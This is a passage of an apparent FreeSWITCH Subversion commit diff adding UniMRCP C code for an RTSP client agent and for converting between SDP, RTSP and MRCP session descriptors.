+/** Allocate UniRTSP config */
+MRCP_DECLARE(rtsp_client_config_t*) mrcp_unirtsp_client_config_alloc(apr_pool_t *pool)
+{
+	rtsp_client_config_t *config = apr_palloc(pool,sizeof(rtsp_client_config_t));
+	config->server_ip = NULL;
+	config->server_port = 0;
+	config->resource_location = NULL;
+	config->origin = NULL;
+	config->resource_map = apr_table_make(pool,2);
+	config->max_connection_count = 100;
+	config->force_destination = FALSE;
+	return config;
+}
+
+
+static apt_bool_t rtsp_config_validate(mrcp_unirtsp_agent_t *agent, rtsp_client_config_t *config, apr_pool_t *pool)
+{
+	if(!config->server_ip) {
+		return FALSE;
+	}
+	agent->config = config;
+	return TRUE;
+}
+
+static APR_INLINE mrcp_unirtsp_agent_t* client_agent_get(apt_task_t *task)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	mrcp_unirtsp_agent_t *agent = apt_consumer_task_object_get(consumer_task);
+	return agent;
+}
+
+static apt_bool_t mrcp_unirtsp_session_create(mrcp_session_t *mrcp_session)
+{
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+	mrcp_unirtsp_session_t *session;
+	mrcp_session->request_vtable = &session_request_vtable;
+
+	session = apr_palloc(mrcp_session->pool,sizeof(mrcp_unirtsp_session_t));
+	session->home = su_home_new(sizeof(*session->home));
+	session->mrcp_message = NULL;
+	session->mrcp_session = mrcp_session;
+	mrcp_session->obj = session;
+	
+	session->rtsp_session = rtsp_client_session_create(
+									agent->rtsp_client,
+									agent->config->server_ip,
+									agent->config->server_port,
+									agent->config->resource_location);
+	if(!session->rtsp_session) {
+		su_home_unref(session->home);
+		return FALSE;
+	}
+	rtsp_client_session_object_set(session->rtsp_session,session);
+	return TRUE;
+}
+
+static void mrcp_unirtsp_session_destroy(mrcp_unirtsp_session_t *session)
+{
+	if(session->home) {
+		su_home_unref(session->home);
+		session->home = NULL;
+	}
+	rtsp_client_session_object_set(session->rtsp_session,NULL);
+	rtsp_client_session_destroy(session->rtsp_session);
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_terminate_response(rtsp_client_t *rtsp_client, rtsp_client_session_t *rtsp_session)
+{
+	mrcp_unirtsp_session_t *session	= rtsp_client_session_object_get(rtsp_session);
+
+	mrcp_unirtsp_session_destroy(session);
+	mrcp_session_terminate_response(session->mrcp_session);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_terminate_event(rtsp_client_t *rtsp_client, rtsp_client_session_t *rtsp_session)
+{
+	mrcp_unirtsp_session_t *session	= rtsp_client_session_object_get(rtsp_session);
+	mrcp_session_terminate_event(session->mrcp_session);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_on_announce_response(mrcp_unirtsp_agent_t *agent, mrcp_unirtsp_session_t *session, rtsp_message_t *message, const char *resource_name)
+{
+	mrcp_message_t *mrcp_message = NULL;
+
+	if(!session || !resource_name) {
+		return FALSE;
+	}
+	
+	if(rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE) == TRUE &&
+		message->header.content_type == RTSP_CONTENT_TYPE_MRCP &&
+		rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE &&
+		message->header.content_length > 0) {
+
+		apt_text_stream_t text_stream;
+		mrcp_parser_t *parser;
+		apt_str_t resource_name_str;
+
+		text_stream.text = message->body;
+		text_stream.pos = text_stream.text.buf;
+		apt_string_set(&resource_name_str,resource_name);
+
+		parser = mrcp_parser_create(agent->sig_agent->resource_factory,session->mrcp_session->pool);
+		mrcp_parser_resource_name_set(parser,&resource_name_str);
+		if(mrcp_parser_run(parser,&text_stream) == MRCP_STREAM_MESSAGE_COMPLETE) {
+			mrcp_message = mrcp_parser_message_get(parser);
+			mrcp_message->channel_id.session_id = message->header.session_id;
+		}
+		else {
+			/* error case */
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse MRCPv1 Message");
+		}
+	}
+	else {
+		/* error case */
+	}
+
+	if(!mrcp_message) {
+		if(!session->mrcp_message) {
+			return FALSE;
+		}
+		mrcp_message = mrcp_response_create(session->mrcp_message,session->mrcp_session->pool);
+		mrcp_message->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+	}
+
+	session->mrcp_message = NULL;
+	mrcp_session_control_response(session->mrcp_session,mrcp_message);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_response(rtsp_client_t *rtsp_client, rtsp_client_session_t *rtsp_session, rtsp_message_t *request, rtsp_message_t *response)
+{
+	apt_bool_t status = FALSE;
+	mrcp_unirtsp_agent_t *agent = rtsp_client_object_get(rtsp_client);
+	mrcp_unirtsp_session_t *session	= rtsp_client_session_object_get(rtsp_session);
+	if(!agent || !session) {
+		return FALSE;
+	}
+
+	switch(request->start_line.common.request_line.method_id) {
+		case RTSP_METHOD_SETUP:
+		{
+			const apt_str_t *session_id;
+			const char *force_destination_ip = NULL;
+			mrcp_session_descriptor_t *descriptor;
+
+			if(agent->config->force_destination == TRUE) {
+				force_destination_ip = agent->config->server_ip;
+			}
+
+			descriptor = mrcp_descriptor_generate_by_rtsp_response(
+							request,
+							response,
+							force_destination_ip,
+							agent->config->resource_map,
+							session->mrcp_session->pool,
+							session->home);
+			if(!descriptor) {
+				return FALSE;
+			}
+			session_id = rtsp_client_session_id_get(session->rtsp_session);
+			if(session_id) {
+				apt_string_copy(
+					&session->mrcp_session->id,
+					session_id,
+					session->mrcp_session->pool);
+			}
+			status = mrcp_session_answer(session->mrcp_session,descriptor);
+			break;
+		}
+		case RTSP_METHOD_TEARDOWN:
+		{
+			mrcp_session_descriptor_t *descriptor;
+			descriptor = mrcp_descriptor_generate_by_rtsp_response(
+							request,
+							response,
+							NULL,
+							agent->config->resource_map,
+							session->mrcp_session->pool,
+							session->home);
+			if(!descriptor) {
+				return FALSE;
+			}
+			status = mrcp_session_answer(session->mrcp_session,descriptor);
+			break;
+		}
+		case RTSP_METHOD_ANNOUNCE:
+		{
+			mrcp_unirtsp_agent_t *agent = rtsp_client_object_get(rtsp_client);
+			const char *resource_name = mrcp_name_get_by_rtsp_name(
+				agent->config->resource_map,
+				request->start_line.common.request_line.resource_name);
+			mrcp_unirtsp_on_announce_response(agent,session,response,resource_name);
+			break;
+		}
+		case RTSP_METHOD_DESCRIBE:
+		{
+			mrcp_unirtsp_agent_t *agent = rtsp_client_object_get(rtsp_client);
+			mrcp_unirtsp_on_resource_discover(agent,session,request,response);
+			break;
+		}
+		default:
+			break;
+	}
+
+	return status;
+}
+
+static apt_bool_t mrcp_unirtsp_on_session_event(rtsp_client_t *rtsp_client, rtsp_client_session_t *rtsp_session, rtsp_message_t *message)
+{
+	mrcp_unirtsp_agent_t *agent = rtsp_client_object_get(rtsp_client);
+	mrcp_unirtsp_session_t *session	= rtsp_client_session_object_get(rtsp_session);
+	const char *resource_name = mrcp_name_get_by_rtsp_name(
+		agent->config->resource_map,
+		message->start_line.common.request_line.resource_name);
+	if(!session || !resource_name) {
+		return FALSE;
+	}
+
+	mrcp_unirtsp_on_announce_response(agent,session,message,resource_name);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_session_offer(mrcp_session_t *mrcp_session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+	rtsp_message_t *request;
+
+	if(agent->config->origin) {
+		apt_string_set(&descriptor->origin,agent->config->origin);
+	}
+
+	request = rtsp_request_generate_by_mrcp_descriptor(descriptor,agent->config->resource_map,mrcp_session->pool);
+	return rtsp_client_session_request(agent->rtsp_client,session->rtsp_session,request);
+}
+
+static apt_bool_t mrcp_unirtsp_session_terminate(mrcp_session_t *mrcp_session)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+
+	return rtsp_client_session_terminate(agent->rtsp_client,session->rtsp_session);
+}
+
+static apt_bool_t mrcp_unirtsp_session_control(mrcp_session_t *mrcp_session, mrcp_message_t *mrcp_message)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+
+	char buffer[500];
+	apt_text_stream_t stream;
+	rtsp_message_t *rtsp_message = NULL;
+	apt_str_t *body;
+
+	apt_text_stream_init(&stream,buffer,sizeof(buffer));
+
+	mrcp_message->start_line.version = MRCP_VERSION_1;
+	if(mrcp_message_generate(agent->sig_agent->resource_factory,mrcp_message,&stream) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate MRCPv1 Message");
+		return FALSE;
+	}
+	stream.text.length = stream.pos - stream.text.buf;
+
+	rtsp_message = rtsp_request_create(mrcp_session->pool);
+	rtsp_message->start_line.common.request_line.resource_name = rtsp_name_get_by_mrcp_name(
+									agent->config->resource_map,
+									mrcp_message->channel_id.resource_name.buf);
+	rtsp_message->start_line.common.request_line.method_id = RTSP_METHOD_ANNOUNCE;
+
+	body = &rtsp_message->body;
+	body->length = mrcp_message->start_line.length;
+	body->buf = apr_palloc(rtsp_message->pool,body->length+1);
+	memcpy(body->buf,stream.text.buf,stream.text.length);
+	if(mrcp_message->body.length) {
+		memcpy(body->buf+stream.text.length,mrcp_message->body.buf,mrcp_message->body.length);
+	}
+	body->buf[body->length] = '\0';
+
+	rtsp_message->header.content_type = RTSP_CONTENT_TYPE_MRCP;
+	rtsp_header_property_add(&rtsp_message->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE);
+	rtsp_message->header.content_length = body->length;
+	rtsp_header_property_add(&rtsp_message->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH);
+
+	session->mrcp_message = mrcp_message;
+	rtsp_client_session_request(agent->rtsp_client,session->rtsp_session,rtsp_message);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_resource_discover(mrcp_session_t *mrcp_session, mrcp_session_descriptor_t *descriptor)
+{
+	mrcp_unirtsp_session_t *session = mrcp_session->obj;
+	mrcp_unirtsp_agent_t *agent = mrcp_session->signaling_agent->obj;
+	rtsp_message_t *request;
+
+	if(!descriptor) {
+		return FALSE;
+	}
+	request = rtsp_resource_discovery_request_generate(
+							descriptor->resource_name.buf,
+							agent->config->resource_map,
+							mrcp_session->pool);
+	if(request) {
+		rtsp_client_session_request(agent->rtsp_client,session->rtsp_session,request);
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_unirtsp_on_resource_discover(mrcp_unirtsp_agent_t *agent, mrcp_unirtsp_session_t *session, rtsp_message_t *request, rtsp_message_t *response)
+{
+	mrcp_session_descriptor_t *descriptor;
+	if(!session) {
+		return FALSE;
+	}
+
+	descriptor = mrcp_resource_discovery_response_generate(
+									request,
+									response,
+									agent->config->resource_map,
+									session->mrcp_session->pool,
+									session->home);
+	if(descriptor) {
+		mrcp_session_discover_response(session->mrcp_session,descriptor);
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_sdp.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_sdp.c (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_sdp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_sdp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-unirtsp/src/mrcp_unirtsp_sdp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,577 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <apr_general.h>
+#include <sofia-sip/sdp.h>
+#include "rtsp_message.h"
+#include "mrcp_unirtsp_sdp.h"
+#include "mpf_rtp_attribs.h"
+#include "apt_text_stream.h"
+#include "apt_log.h"
+
+
+/** Generate SDP media by RTP media descriptor */
+static apr_size_t sdp_rtp_media_generate(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, const mpf_rtp_media_descriptor_t *audio_media)
+{
+	apr_size_t offset = 0;
+	int i;
+	mpf_codec_descriptor_t *codec_descriptor;
+	apr_array_header_t *descriptor_arr = audio_media->codec_list.descriptor_arr;
+	if(!descriptor_arr) {
+		return 0;
+	}
+	offset += snprintf(buffer+offset,size-offset,
+		"m=audio %d RTP/AVP", 
+		audio_media->base.state == MPF_MEDIA_ENABLED ? audio_media->base.port : 0);
+	for(i=0; i<descriptor_arr->nelts; i++) {
+		codec_descriptor = (mpf_codec_descriptor_t*)descriptor_arr->elts + i;
+		if(codec_descriptor->enabled == TRUE) {
+			offset += snprintf(buffer+offset,size-offset," %d", codec_descriptor->payload_type);
+		}
+	}
+	offset += snprintf(buffer+offset,size-offset,"\r\n");
+	if(audio_media->base.state == MPF_MEDIA_ENABLED) {
+		const apt_str_t *mode_str = mpf_stream_mode_str_get(audio_media->mode);
+		for(i=0; i<descriptor_arr->nelts; i++) {
+			codec_descriptor = (mpf_codec_descriptor_t*)descriptor_arr->elts + i;
+			if(codec_descriptor->enabled == TRUE && codec_descriptor->name.buf) {
+				offset += snprintf(buffer+offset,size-offset,"a=rtpmap:%d %s/%d\r\n",
+					codec_descriptor->payload_type,
+					codec_descriptor->name.buf,
+					codec_descriptor->sampling_rate);
+			}
+		}
+		offset += snprintf(buffer+offset,size-offset,"a=%s\r\n",mode_str ? mode_str->buf : "");
+		
+		if(audio_media->ptime) {
+			offset += snprintf(buffer+offset,size-offset,"a=ptime:%hu\r\n",
+				audio_media->ptime);
+		}
+	}
+	return offset;
+}
+
+/** Generate RTP media descriptor by SDP media */
+static apt_bool_t mpf_rtp_media_generate(mpf_rtp_media_descriptor_t *rtp_media, const sdp_media_t *sdp_media, const apt_str_t *ip, apr_pool_t *pool)
+{
+	mpf_rtp_attrib_e id;
+	apt_str_t name;
+	sdp_attribute_t *attrib = NULL;
+	sdp_rtpmap_t *map;
+	mpf_codec_descriptor_t *codec;
+	for(attrib = sdp_media->m_attributes; attrib; attrib=attrib->a_next) {
+		apt_string_set(&name,attrib->a_name);
+		id = mpf_rtp_attrib_id_find(&name);
+		switch(id) {
+			case RTP_ATTRIB_PTIME:
+				rtp_media->ptime = (apr_uint16_t)atoi(attrib->a_value);
+				break;
+			default:
+				break;
+		}
+	}
+
+	mpf_codec_list_init(&rtp_media->codec_list,5,pool);
+	for(map = sdp_media->m_rtpmaps; map; map = map->rm_next) {
+		codec = mpf_codec_list_add(&rtp_media->codec_list);
+		if(codec) {
+			codec->payload_type = (apr_byte_t)map->rm_pt;
+			apt_string_assign(&codec->name,map->rm_encoding,pool);
+			codec->sampling_rate = (apr_uint16_t)map->rm_rate;
+			codec->channel_count = 1;
+		}
+	}
+
+	switch(sdp_media->m_mode) {
+		case sdp_inactive:
+			rtp_media->mode = STREAM_MODE_NONE;
+			break;
+		case sdp_sendonly:
+			rtp_media->mode = STREAM_MODE_SEND;
+			break;
+		case sdp_recvonly:
+			rtp_media->mode = STREAM_MODE_RECEIVE;
+			break;
+		case sdp_sendrecv:
+			rtp_media->mode = STREAM_MODE_SEND_RECEIVE;
+			break;
+	}
+
+	if(sdp_media->m_connections) {
+		apt_string_assign(&rtp_media->base.ip,sdp_media->m_connections->c_address,pool);
+	}
+	else {
+		rtp_media->base.ip = *ip;
+	}
+	if(sdp_media->m_port) {
+		rtp_media->base.port = (apr_port_t)sdp_media->m_port;
+		rtp_media->base.state = MPF_MEDIA_ENABLED;
+	}
+	else {
+		rtp_media->base.state = MPF_MEDIA_DISABLED;
+	}
+	return TRUE;
+}
+
+/** Generate MRCP descriptor by SDP session */
+static mrcp_session_descriptor_t* mrcp_descriptor_generate_by_sdp_session(mrcp_session_descriptor_t *descriptor, const sdp_session_t *sdp, const char *force_destination_ip, apr_pool_t *pool)
+{
+	sdp_media_t *sdp_media;
+
+	if(force_destination_ip) {
+		apt_string_assign(&descriptor->ip,force_destination_ip,pool);
+	}
+	else if(sdp->sdp_connection) {
+		apt_string_assign(&descriptor->ip,sdp->sdp_connection->c_address,pool);
+	}
+
+	for(sdp_media=sdp->sdp_media; sdp_media; sdp_media=sdp_media->m_next) {
+		switch(sdp_media->m_type) {
+			case sdp_media_audio:
+			{
+				mpf_rtp_media_descriptor_t *media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+				mpf_rtp_media_descriptor_init(media);
+				media->base.id = mrcp_session_audio_media_add(descriptor,media);
+				mpf_rtp_media_generate(media,sdp_media,&descriptor->ip,pool);
+				break;
+			}
+			case sdp_media_video:
+			{
+				mpf_rtp_media_descriptor_t *media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+				mpf_rtp_media_descriptor_init(media);
+				media->base.id = mrcp_session_video_media_add(descriptor,media);
+				mpf_rtp_media_generate(media,sdp_media,&descriptor->ip,pool);
+				break;
+			}
+			default:
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Not Supported SDP Media [%s]", sdp_media->m_type_name);
+				break;
+		}
+	}
+	return descriptor;
+}
+
+
+/** Generate MRCP descriptor by RTSP request */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_descriptor_generate_by_rtsp_request(
+											const rtsp_message_t *request,
+											const char *force_destination_ip,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool,
+											su_home_t *home)
+{
+	mrcp_session_descriptor_t *descriptor = NULL;
+	const char *resource_name = mrcp_name_get_by_rtsp_name(
+		resource_map,
+		request->start_line.common.request_line.resource_name);
+	if(!resource_name) {
+		return NULL;
+	}
+	
+	if(request->start_line.common.request_line.method_id == RTSP_METHOD_SETUP) {
+		if(rtsp_header_property_check(&request->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE) == TRUE &&
+			rtsp_header_property_check(&request->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE &&
+			request->body.buf) {
+			
+			sdp_parser_t *parser;
+			sdp_session_t *sdp;
+
+			parser = sdp_parse(home,request->body.buf,request->body.length,0);
+			sdp = sdp_session(parser);
+			if(sdp) {
+				descriptor = mrcp_session_descriptor_create(pool);
+				mrcp_descriptor_generate_by_sdp_session(descriptor,sdp,force_destination_ip,pool);
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse SDP Message");
+			}
+			sdp_parser_free(parser);
+		}
+		else {
+			/* create default descriptor in case RTSP SETUP contains no SDP */
+			mpf_rtp_media_descriptor_t *media;
+			descriptor = mrcp_session_descriptor_create(pool);
+			media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+			mpf_rtp_media_descriptor_init(media);
+			media->base.state = MPF_MEDIA_ENABLED;
+			media->base.id = mrcp_session_audio_media_add(descriptor,media);
+			if(rtsp_header_property_check(&request->header.property_set,RTSP_HEADER_FIELD_TRANSPORT) == TRUE) {
+				media->base.port = request->header.transport.client_port_range.min;
+				media->base.ip = request->header.transport.destination;
+			}
+		}
+
+		if(descriptor) {
+			apt_string_assign(&descriptor->resource_name,resource_name,pool);
+			descriptor->resource_state = TRUE;
+		}
+	}
+	else if(request->start_line.common.request_line.method_id == RTSP_METHOD_TEARDOWN) {
+		descriptor = mrcp_session_descriptor_create(pool);
+		apt_string_assign(&descriptor->resource_name,resource_name,pool);
+		descriptor->resource_state = FALSE;
+	}
+	return descriptor;
+}
+
+/** Generate MRCP descriptor by RTSP response */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_descriptor_generate_by_rtsp_response(
+											const rtsp_message_t *request, 
+											const rtsp_message_t *response, 
+											const char *force_destination_ip,
+											const apr_table_t *resource_map, 
+											apr_pool_t *pool, 
+											su_home_t *home)
+{
+	mrcp_session_descriptor_t *descriptor = NULL;
+	const char *resource_name = mrcp_name_get_by_rtsp_name(
+		resource_map,
+		request->start_line.common.request_line.resource_name);
+	if(!resource_name) {
+		return NULL;
+	}
+	
+	if(request->start_line.common.request_line.method_id == RTSP_METHOD_SETUP) {
+		if(rtsp_header_property_check(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE) == TRUE &&
+			rtsp_header_property_check(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE &&
+			response->body.buf) {
+			
+			sdp_parser_t *parser;
+			sdp_session_t *sdp;
+
+			parser = sdp_parse(home,response->body.buf,response->body.length,0);
+			sdp = sdp_session(parser);
+			if(sdp) {
+				descriptor = mrcp_session_descriptor_create(pool);
+				mrcp_descriptor_generate_by_sdp_session(descriptor,sdp,force_destination_ip,pool);
+
+				apt_string_assign(&descriptor->resource_name,resource_name,pool);
+				descriptor->resource_state = TRUE;
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse SDP Message");
+			}
+			
+			sdp_parser_free(parser);
+		}
+		else {
+			descriptor = mrcp_session_descriptor_create(pool);
+			apt_string_assign(&descriptor->resource_name,resource_name,pool);
+			descriptor->resource_state = FALSE;
+		}
+	}
+	else if(request->start_line.common.request_line.method_id == RTSP_METHOD_TEARDOWN) {
+		descriptor = mrcp_session_descriptor_create(pool);
+		apt_string_assign(&descriptor->resource_name,resource_name,pool);
+		descriptor->resource_state = FALSE;
+	}
+	return descriptor;
+}
+
+/** Generate RTSP request by MRCP descriptor */
+MRCP_DECLARE(rtsp_message_t*) rtsp_request_generate_by_mrcp_descriptor(const mrcp_session_descriptor_t *descriptor, const apr_table_t *resource_map, apr_pool_t *pool)
+{
+	apr_size_t i;
+	apr_size_t count;
+	apr_size_t audio_index = 0;
+	mpf_rtp_media_descriptor_t *audio_media;
+	apr_size_t video_index = 0;
+	mpf_rtp_media_descriptor_t *video_media;
+	apr_size_t offset = 0;
+	char buffer[2048];
+	apr_size_t size = sizeof(buffer);
+	rtsp_message_t *request;
+	const char *ip = descriptor->ext_ip.buf ? descriptor->ext_ip.buf : (descriptor->ip.buf ? descriptor->ip.buf : "0.0.0.0");
+
+	request = rtsp_request_create(pool);
+	request->start_line.common.request_line.resource_name = rtsp_name_get_by_mrcp_name(
+		resource_map,
+		descriptor->resource_name.buf);
+	if(descriptor->resource_state != TRUE) {
+		request->start_line.common.request_line.method_id = RTSP_METHOD_TEARDOWN;
+		return request;
+	}
+
+	request->start_line.common.request_line.method_id = RTSP_METHOD_SETUP;
+
+	buffer[0] = '\0';
+	offset += snprintf(buffer+offset,size-offset,
+			"v=0\r\n"
+			"o=%s 0 0 IN IP4 %s\r\n"
+			"s=-\r\n"
+			"c=IN IP4 %s\r\n"
+			"t=0 0\r\n",
+			descriptor->origin.buf ? descriptor->origin.buf : "-",
+			ip,
+			ip);
+	count = mrcp_session_media_count_get(descriptor);
+	for(i=0; i<count; i++) {
+		audio_media = mrcp_session_audio_media_get(descriptor,audio_index);
+		if(audio_media && audio_media->base.id == i) {
+			/* generate audio media */
+			audio_index++;
+			offset += sdp_rtp_media_generate(buffer+offset,size-offset,descriptor,audio_media);
+			request->header.transport.client_port_range.min = audio_media->base.port;
+			request->header.transport.client_port_range.max = audio_media->base.port+1;
+			continue;
+		}
+		video_media = mrcp_session_video_media_get(descriptor,video_index);
+		if(video_media && video_media->base.id == i) {
+			/* generate video media */
+			video_index++;
+			offset += sdp_rtp_media_generate(buffer+offset,size-offset,descriptor,video_media);
+			continue;
+		}
+	}
+
+	request->header.transport.protocol = RTSP_TRANSPORT_RTP;
+	request->header.transport.profile = RTSP_PROFILE_AVP;
+	request->header.transport.delivery = RTSP_DELIVERY_UNICAST;
+	rtsp_header_property_add(&request->header.property_set,RTSP_HEADER_FIELD_TRANSPORT);
+
+	if(offset) {
+		apt_string_assign_n(&request->body,buffer,offset,pool);
+		request->header.content_type = RTSP_CONTENT_TYPE_SDP;
+		rtsp_header_property_add(&request->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE);
+		request->header.content_length = offset;
+		rtsp_header_property_add(&request->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH);
+	}
+	return request;
+}
+
+/** Generate RTSP response by MRCP descriptor */
+MRCP_DECLARE(rtsp_message_t*) rtsp_response_generate_by_mrcp_descriptor(const rtsp_message_t *request, const mrcp_session_descriptor_t *descriptor, const apr_table_t *resource_map, apr_pool_t *pool)
+{
+	rtsp_message_t *response = NULL;
+
+	switch(descriptor->status) {
+		case MRCP_SESSION_STATUS_OK:
+			response = rtsp_response_create(request,RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,pool);
+			break;
+		case MRCP_SESSION_STATUS_NO_SUCH_RESOURCE:
+			response = rtsp_response_create(request,RTSP_STATUS_CODE_NOT_FOUND,RTSP_REASON_PHRASE_NOT_FOUND,pool);
+			break;
+		case MRCP_SESSION_STATUS_UNACCEPTABLE_RESOURCE:
+		case MRCP_SESSION_STATUS_UNAVAILABLE_RESOURCE:
+			response = rtsp_response_create(request,RTSP_STATUS_CODE_NOT_ACCEPTABLE,RTSP_REASON_PHRASE_NOT_ACCEPTABLE,pool);
+			break;
+		case MRCP_SESSION_STATUS_ERROR:
+			response = rtsp_response_create(request,RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR,RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR,pool);
+			break;
+	}
+
+	if(!response) {
+		return NULL;
+	}
+
+	if(descriptor->status == MRCP_SESSION_STATUS_OK) {
+		apr_size_t i;
+		apr_size_t count;
+		apr_size_t audio_index = 0;
+		mpf_rtp_media_descriptor_t *audio_media;
+		apr_size_t video_index = 0;
+		mpf_rtp_media_descriptor_t *video_media;
+		apr_size_t offset = 0;
+		char buffer[2048];
+		apr_size_t size = sizeof(buffer);
+		const char *ip = descriptor->ext_ip.buf ? descriptor->ext_ip.buf : (descriptor->ip.buf ? descriptor->ip.buf : "0.0.0.0");
+
+		buffer[0] = '\0';
+		offset += snprintf(buffer+offset,size-offset,
+				"v=0\r\n"
+				"o=%s 0 0 IN IP4 %s\r\n"
+				"s=-\r\n"
+				"c=IN IP4 %s\r\n"
+				"t=0 0\r\n",
+				descriptor->origin.buf ? descriptor->origin.buf : "-",
+				ip,
+				ip);
+		count = mrcp_session_media_count_get(descriptor);
+		for(i=0; i<count; i++) {
+			audio_media = mrcp_session_audio_media_get(descriptor,audio_index);
+			if(audio_media && audio_media->base.id == i) {
+				/* generate audio media */
+				audio_index++;
+				offset += sdp_rtp_media_generate(buffer+offset,size-offset,descriptor,audio_media);
+				response->header.transport.server_port_range.min = audio_media->base.port;
+				response->header.transport.server_port_range.max = audio_media->base.port+1;
+				response->header.transport.client_port_range = request->header.transport.client_port_range;
+				continue;
+			}
+			video_media = mrcp_session_video_media_get(descriptor,video_index);
+			if(video_media && video_media->base.id == i) {
+				/* generate video media */
+				video_index++;
+				offset += sdp_rtp_media_generate(buffer+offset,size-offset,descriptor,video_media);
+				continue;
+			}
+		}
+
+		/* ok */
+		response->header.transport.protocol = RTSP_TRANSPORT_RTP;
+		response->header.transport.profile = RTSP_PROFILE_AVP;
+		response->header.transport.delivery = RTSP_DELIVERY_UNICAST;
+		rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_TRANSPORT);
+
+		if(offset) {
+			apt_string_assign_n(&response->body,buffer,offset,pool);
+			response->header.content_type = RTSP_CONTENT_TYPE_SDP;
+			rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE);
+			response->header.content_length = offset;
+			rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH);
+		}
+	}
+	return response;
+}
+
+/** Generate RTSP resource discovery request */
+MRCP_DECLARE(rtsp_message_t*) rtsp_resource_discovery_request_generate(
+											const char *resource_name,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool)
+{
+	rtsp_message_t *request = rtsp_request_create(pool);
+	request->start_line.common.request_line.resource_name = rtsp_name_get_by_mrcp_name(
+		resource_map,
+		resource_name);
+	
+	request->start_line.common.request_line.method_id = RTSP_METHOD_DESCRIBE;
+	return request;
+}
+
+/** Generate resource descovery descriptor by RTSP response */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_resource_discovery_response_generate(
+											const rtsp_message_t *request, 
+											const rtsp_message_t *response,
+											const apr_table_t *resource_map,
+											apr_pool_t *pool,
+											su_home_t *home)
+{
+	mrcp_session_descriptor_t *descriptor = NULL;
+	const char *resource_name = mrcp_name_get_by_rtsp_name(
+					resource_map,
+					request->start_line.common.request_line.resource_name);
+	if(!resource_name) {
+		return NULL;
+	}
+	
+	descriptor = mrcp_session_descriptor_create(pool);
+	apt_string_assign(&descriptor->resource_name,resource_name,pool);
+	
+	if(rtsp_header_property_check(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_TYPE) == TRUE &&
+		rtsp_header_property_check(&response->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE &&
+		response->body.buf) {
+			
+		sdp_parser_t *parser;
+		sdp_session_t *sdp;
+
+		parser = sdp_parse(home,response->body.buf,response->body.length,0);
+		sdp = sdp_session(parser);
+		if(sdp) {
+			mrcp_descriptor_generate_by_sdp_session(descriptor,sdp,0,pool);
